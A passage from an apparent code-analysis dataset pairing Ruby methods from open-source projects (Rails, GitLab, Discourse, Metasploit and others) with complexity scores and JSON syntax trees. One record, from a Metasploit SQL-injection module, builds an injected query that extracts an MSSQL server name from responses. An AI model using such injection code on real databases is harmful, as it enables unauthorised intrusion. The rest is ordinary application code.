\"type\":\"str\",\"children\":[\"val\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"ManagedObjectReference\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tmp_dcs\"]},\"flatten!\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tmp_dcs\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dc\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dcs\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"vim_get_dc_name\",{\"type\":\"lvar\",\"children\":[\"dc\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ref\"]},{\"type\":\"lvar\",\"children\":[\"dc\"]}]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}]}]}","id":"874170e7-e432-4477-8364-b72c6f4c2425"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/date_time_ext_test.rb","start_line":426,"raw_source":"def test_formatted_offset_with_utc\n    assert_equal \"+00:00\", DateTime.civil(2000).formatted_offset\n    assert_equal \"+0000\", DateTime.civil(2000).formatted_offset(false)\n    assert_equal \"UTC\", DateTime.civil(2000).formatted_offset(true, \"UTC\")\n  end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_formatted_offset_with_utc\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"+00:00\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"civil\",{\"type\":\"int\",\"children\":[2000]}]},\"formatted_offset\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"+0000\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"civil\",{\"type\":\"int\",\"children\":[2000]}]},\"formatted_offset\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"UTC\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"civil\",{\"type\":\"int\",\"children\":[2000]}]},\"formatted_offset\",{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"UTC\"]}]}]}]}]}","id":"c05874f8-c9a2-40de-9131-b150477a6a08"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/sentry_issue_finder.rb","start_line":6,"raw_source":"def initialize(project, current_user: nil)\n    @project = project\n    @current_user = current_user\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"kwoptarg\",\"children\":[\"current_user\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@current_user\",{\"type\":\"lvar\",\"children\":[\"current_user\"]}]}]}]}","id":"ce60d7cc-0b6e-4f9a-9494-8c7cb51a6442"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/widget/base_controller.rb","start_line":19,"raw_source":"def conversation\n    @conversation ||= conversations.last\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"conversation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@conversation\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"conversations\"]},\"last\"]}]}]}","id":"19865442-8929-48f3-b8fe-ec6ef004f36e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/migrations/version.rb","start_line":77,"raw_source":"def hash\n          timestamp.hash\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"timestamp\"]},\"hash\"]}]}","id":"fb9818ff-a4cf-49ee-a896-fad6cc281f98"}
{"repo_name":"haml","file_path":"./repos/haml/lib/haml/parser.rb","start_line":849,"raw_source":"def balance_tokens(buf, start, finish, count: 0)\n      text = ''.dup\n      Ripper.lex(buf).each do |_, token, str|\n        text << str\n        case token\n        when start\n          count += 1\n        when finish\n          count -= 1\n        end\n\n        if count == 0\n          return text, buf.sub(text, '')\n        end\n      end\n      raise SyntaxError.new(Error.message(:unbalanced_brackets))\n    end","complexity_score":23.9,"ast_json":"{\"type\":\"def\",\"children\":[\"balance_tokens\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"buf\"]},{\"type\":\"arg\",\"children\":[\"start\"]},{\"type\":\"arg\",\"children\":[\"finish\"]},{\"type\":\"kwoptarg\",\"children\":[\"count\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"dup\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ripper\"]},\"lex\",{\"type\":\"lvar\",\"children\":[\"buf\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"token\"]},{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"str\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},{\"type\":\"when\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"lvar\",\"children\":[\"finish\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"count\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"count\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"sub\",{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},null]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SyntaxError\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Error\"]},\"message\",{\"type\":\"sym\",\"children\":[\"unbalanced_brackets\"]}]}]}]}]}]}","id":"f8bba7c9-9aa9-4d5b-89c9-d6458e62e602"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/models/service_template_provision_task_spec.rb","start_line":44,"raw_source":"def service_resource_id(index, scaling_max)\n      FactoryBot.create(:service_resource,\n                         :provision_index => index,\n                         :scaling_min     => 1,\n                         :scaling_max     => scaling_max,\n                         :resource_type   => 'ServiceTemplate').id\n    end","complexity_score":2.55,"ast_json":"{\"type\":\"def\",\"children\":[\"service_resource_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"index\"]},{\"type\":\"arg\",\"children\":[\"scaling_max\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FactoryBot\"]},\"create\",{\"type\":\"sym\",\"children\":[\"service_resource\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"provision_index\"]},{\"type\":\"lvar\",\"children\":[\"index\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scaling_min\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scaling_max\"]},{\"type\":\"lvar\",\"children\":[\"scaling_max\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource_type\"]},{\"type\":\"str\",\"children\":[\"ServiceTemplate\"]}]}]}]},\"id\"]}]}","id":"551da784-d816-40c6-a59e-8abccb71e5be"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/compatibility_test.rb","start_line":1302,"raw_source":"def change\n            create_table :legacy_primary_keys, id: :bigint do |t|\n            end\n          end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"legacy_primary_keys\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},null]}]}","id":"9538ea6d-45c6-406e-97f4-61145f9e3ff0"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/lib/action_cable/connection/base.rb","start_line":228,"raw_source":"def allow_request_origin?\n          return true if server.config.disable_request_forgery_protection\n\n          proto = Rack::Request.new(env).ssl? ? \"https\" : \"http\"\n          if server.config.allow_same_origin_as_host && env[\"HTTP_ORIGIN\"] == \"#{proto}://#{env['HTTP_HOST']}\"\n            true\n          elsif Array(server.config.allowed_request_origins).any? { |allowed_origin|  allowed_origin === env[\"HTTP_ORIGIN\"] }\n            true\n          else\n            logger.error(\"Request origin not allowed: #{env['HTTP_ORIGIN']}\")\n            false\n          end\n        end","complexity_score":42.7,"ast_json":"{\"type\":\"def\",\"children\":[\"allow_request_origin?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"server\"]},\"config\"]},\"disable_request_forgery_protection\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"proto\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Request\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"env\"]}]},\"ssl?\"]},{\"type\":\"str\",\"children\":[\"https\"]},{\"type\":\"str\",\"children\":[\"http\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"server\"]},\"config\"]},\"allow_same_origin_as_host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HTTP_ORIGIN\"]}]},\"==\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proto\"]}]},{\"type\":\"str\",\"children\":[\"://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HTTP_HOST\"]}]}]}]}]}]},{\"type\":\"true\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"server\"]},\"config\"]},\"allowed_request_origins\"]}]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"allowed_origin\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allowed_origin\"]},\"===\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HTTP_ORIGIN\"]}]}]}]},{\"type\":\"true\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Request origin not allowed: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HTTP_ORIGIN\"]}]}]}]}]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"71e335f3-6431-437f-b244-1152f4fb0e0e"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/smell_detectors/unused_private_method.rb","start_line":37,"raw_source":"def sniff\n        hits.map do |hit|\n          name = hit.name\n          smell_warning(\n            lines: [hit.line],\n            message: \"has the unused private instance method '#{name}'\",\n            parameters: { name: name.to_s })\n        end\n      end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"sniff\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hits\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hit\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hit\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"smell_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"lines\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hit\"]},\"line\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"has the unused private instance method '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parameters\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]}]}]}]}]}]}]}]}]}","id":"f04a58ae-342b-4e35-a815-1521d8c5af90"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/forms/custom_fields/custom_field_rendering.rb","start_line":80,"raw_source":"def form_arguments(custom_field)\n    {\n      custom_field: custom_field,\n      object: model\n    }.merge(additional_custom_field_input_arguments)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"form_arguments\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"custom_field\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_field\"]},{\"type\":\"lvar\",\"children\":[\"custom_field\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"object\"]},{\"type\":\"send\",\"children\":[null,\"model\"]}]}]},\"merge\",{\"type\":\"send\",\"children\":[null,\"additional_custom_field_input_arguments\"]}]}]}","id":"ccb54a27-71fd-4ae6-bd4b-39bcec6be588"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/espia/espia.rb","start_line":24,"raw_source":"def initialize(client)\n    super(client, 'espia')\n\n    client.register_extension_aliases(\n      [\n        {\n          'name' => 'espia',\n          'ext'  => self\n        },\n      ])\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"client\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},{\"type\":\"str\",\"children\":[\"espia\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"register_extension_aliases\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"espia\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ext\"]},{\"type\":\"self\",\"children\":[]}]}]}]}]}]}]}","id":"848bcb8c-6351-4495-a4d6-92fd967ba7a5"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/schema_settings_object_validator.rb","start_line":21,"raw_source":"def humanize_error_messages(errors, index:, error_messages:)\n      errors.each do |property_json_pointer, error_details|\n        error_messages.push(*error_details.humanize_messages(\"/#{index}#{property_json_pointer}\"))\n      end\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"humanize_error_messages\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"errors\"]},{\"type\":\"kwarg\",\"children\":[\"index\"]},{\"type\":\"kwarg\",\"children\":[\"error_messages\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"errors\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"property_json_pointer\"]},{\"type\":\"arg\",\"children\":[\"error_details\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error_messages\"]},\"push\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error_details\"]},\"humanize_messages\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"property_json_pointer\"]}]}]}]}]}]}]}]}","id":"c94c857a-db07-4544-9685-4ecf84ce17f6"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/lane_list.rb","start_line":40,"raw_source":"def self.desc_entry_for_swift_lane(named: nil, potential_desc_line: nil)\n      unless named\n        return nil\n      end\n\n      desc_match = SWIFT_DESC_REGEX.match(potential_desc_line)\n      unless desc_match\n        return nil\n      end\n\n      return desc_match[1]\n    end","complexity_score":5.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"desc_entry_for_swift_lane\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"named\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"potential_desc_line\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"named\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"desc_match\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SWIFT_DESC_REGEX\"]},\"match\",{\"type\":\"lvar\",\"children\":[\"potential_desc_line\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"desc_match\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"desc_match\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}","id":"dc360de6-843b-41a2-8b6f-b9924880e304"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/review_apps/automated_cleanup.rb","start_line":48,"raw_source":"def initialize(\n      project_path: ENV['CI_PROJECT_PATH'],\n      gitlab_token: ENV['GITLAB_PROJECT_REVIEW_APP_CLEANUP_API_TOKEN'],\n      api_endpoint: ENV['CI_API_V4_URL'],\n      options: {}\n    )\n      @project_path                     = project_path\n      @gitlab_token                     = gitlab_token\n      @api_endpoint                     = api_endpoint\n      @dry_run                          = options[:dry_run]\n    end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"project_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CI_PROJECT_PATH\"]}]}]},{\"type\":\"kwoptarg\",\"children\":[\"gitlab_token\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"GITLAB_PROJECT_REVIEW_APP_CLEANUP_API_TOKEN\"]}]}]},{\"type\":\"kwoptarg\",\"children\":[\"api_endpoint\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CI_API_V4_URL\"]}]}]},{\"type\":\"kwoptarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project_path\",{\"type\":\"lvar\",\"children\":[\"project_path\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@gitlab_token\",{\"type\":\"lvar\",\"children\":[\"gitlab_token\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@api_endpoint\",{\"type\":\"lvar\",\"children\":[\"api_endpoint\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@dry_run\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"dry_run\"]}]}]}]}]}","id":"e9da0739-eaf2-4679-a059-5bbf11518497"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/basic_reviewable_queued_post_serializer.rb","start_line":14,"raw_source":"def is_new_topic\n    object.payload[\"title\"].present?\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"is_new_topic\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"payload\"]},\"[]\",{\"type\":\"str\",\"children\":[\"title\"]}]},\"present?\"]}]}","id":"bcec527c-dbf7-458d-a927-7cc5683fca03"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240611121818_remove_project_statistics_packages_size_and_project_id_index.rb","start_line":10,"raw_source":"def up\n    return unless should_run?\n\n    prepare_async_index_removal :project_statistics, COLUMNS, name: INDEX_NAME\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"should_run?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"prepare_async_index_removal\",{\"type\":\"sym\",\"children\":[\"project_statistics\"]},{\"type\":\"const\",\"children\":[null,\"COLUMNS\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"INDEX_NAME\"]}]}]}]}]}]}","id":"907cbf88-72f3-4d50-a8c6-3b1110981b44"}
{"repo_name":"zeitwerk","file_path":"./repos/zeitwerk/lib/zeitwerk/cref/map.rb","start_line":82,"raw_source":"def []=(cref, value)\n    @mutex.synchronize do\n      cnames = (@map[cref.mod] ||= {})\n      cnames[cref.cname] = value\n    end\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"[]=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cref\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mutex\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cnames\",{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@map\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cref\"]},\"mod\"]}]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cnames\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cref\"]},\"cname\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}","id":"b52e65db-5ef1-40db-a556-e8c2b79a2b40"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250519075118_add_minimum_pause_ms_constraint_to_batched_background_migrations.rb","start_line":11,"raw_source":"def up\n    add_check_constraint(\n      TABLE_NAME,\n      \"pause_ms >= #{MINIMUM_PAUSE_MS}\",\n      check_constraint_name(TABLE_NAME, CONSTRAINT_NAME, 'not_null')\n    )\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"add_check_constraint\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"pause_ms >= \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MINIMUM_PAUSE_MS\"]}]}]},{\"type\":\"send\",\"children\":[null,\"check_constraint_name\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"const\",\"children\":[null,\"CONSTRAINT_NAME\"]},{\"type\":\"str\",\"children\":[\"not_null\"]}]}]}]}","id":"871032ea-5cef-411f-858b-8c1a5694df19"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/container_orchestrator/object_definition.rb","start_line":249,"raw_source":"def owner_references\n      [{\n        :apiVersion         => \"v1\",\n        :blockOwnerDeletion => true,\n        :controller         => true,\n        :kind               => \"Pod\",\n        :name               => pod_name,\n        :uid                => pod_uid\n      }]\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"owner_references\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"apiVersion\"]},{\"type\":\"str\",\"children\":[\"v1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"blockOwnerDeletion\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"kind\"]},{\"type\":\"str\",\"children\":[\"Pod\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"pod_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uid\"]},{\"type\":\"send\",\"children\":[null,\"pod_uid\"]}]}]}]}]}","id":"fc104d49-7c26-46d5-93d0-d13342ea67af"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli.rb","start_line":118,"raw_source":"def get_server_name\n    clue_start = Rex::Text.rand_text_alpha(8..11)\n    clue_end = Rex::Text.rand_text_alpha(8..11)\n    sql = \"(select '#{clue_start}'+@@servername+'#{clue_end}')\"\n\n    result = mssql_query(sql)\n\n    if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/\n      instance_name = ::Regexp.last_match(1)\n      sql_server_name = instance_name.split('\\\\')[0]\n    else\n      sql_server_name = nil\n    end\n\n    sql_server_name\n  